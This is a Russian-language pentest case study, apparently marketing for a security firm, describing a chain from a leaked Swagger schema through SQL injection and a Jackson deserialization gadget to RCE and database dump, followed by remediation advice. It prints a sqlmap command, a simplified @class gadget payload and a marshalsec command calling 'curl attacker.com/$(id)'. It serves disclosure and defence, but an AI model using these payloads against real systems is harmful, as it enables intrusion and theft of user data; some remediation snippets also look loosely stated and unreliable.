WEB PENTEST

E-commerce платформа — RCE через десериализацию Jackson

Полная цепочка: Swagger leak → 47 API эндпоинтов → SQL Injection → Jackson deserialization gadget chain → RCE → Root Access → Full DB Dump. 2.4M записей пользователей, CVSS 9.8, исправление за 24 часа.

12Уязвимостей
3Critical
2.4MUser Records
24чTime to Fix
RootAccess

1. Разведка: Swagger Leak → Attack Surface

Публично доступен /v3/api-docs (SpringDoc OpenAPI) — полная схема всех 47 эндпоинтов, включая внутренние админские. Параметры, схемы запросов/ответов, примеры. Экономия дней на рекон.

Ключевые находки: POST /api/admin/import (принимает JSON для bulk-загрузки), POST /api/search (Raw SQL в параметре q), GET /actuator/env (Spring Boot Actuator сcrets).

2. SQL Injection в поиске (High → Critical Chain)

Параметр q в /api/search?q= конкатенировался в нативный запрос Hibernate без параметризации. Классический UNION-based SQLi. Извлекли схему БД, версию PostgreSQL, список таблиц.

bash
sqlmap -u "https://target.com/api/search?q=test" --dbs --batch --level 5 --risk 3
# Result: 12 databases, 2.4M rows in users table, credit_cards, sessions, reset_tokens

3. Jackson Deserialization → RCE (Critical)

Эндпоинт POST /api/admin/import использовал ObjectMapper.readValue(json, Object.class) с включённым enableDefaultTyping() (Polymorphic Type Handling). Это позволяет указать произвольный класс в JSON через @class.

Gadget Chain: com.fasterxml.jackson.databind.node.POJONodejavax.script.ScriptEngineManagerjavax.script.ScriptEngineeval() → RCE. Использовали marshalsec для генерации пейлоада.

json
# PoC JSON для RCE (упрощённо)
{
  "@class": "com.fasterxml.jackson.databind.node.POJONode",
  "value": {
    "@class": "javax.script.ScriptEngineManager",
    "engineName": "JavaScript",
    "factory": { ... }
  }
}  

# Генерация через marshalsec
java -cp marshalsec.jar marshalsec.Jackson gadget "curl attacker.com/$(id)"

Результат: выполнение curl attacker.com/$(id) на сервере → обратный шелл → root через грязный sudo в контейнере.

4. Пост-эксплуатация и влияние

🗄

Полный дамп БД

2.4M пользователей: email, bcrypt-хеши, PII, платёжные токены

🔑

Root на проде

Container escape через неправильный sudo в Dockerfile

💳

Платёжные данные

Токенизированные карты (Stripe), но достаточны для рефанда/фрода

5. Ремедиация и результат

Отключить Default Typing в ObjectMapper: mapper.disable(MapperFeature.DEFAULT_TYPING)
Allow-list классов для десериализации: PolymorphicTypeValidator
Parameterized Queries везде (JPA Criteria API / Named Parameters)
Actuator endpoints — только internal, авторизация, нет secrets в /env
WAF Rules для десериализации (block @class, @type в JSON body)

Все Critical закрыты за 24ч. Retest — 0 findings. Клиент получил отчёт для инвесторов (Series A due diligence passed).

Боитесь десериализацию в своем Java-стеке?

Проверим ObjectMapper, Spring Cloud, SpEL, Groovy, SnakeYAML, Hessian, Kryo. Дадим PoC или подтвердим безопасность.

Заказать аудит Java/Spring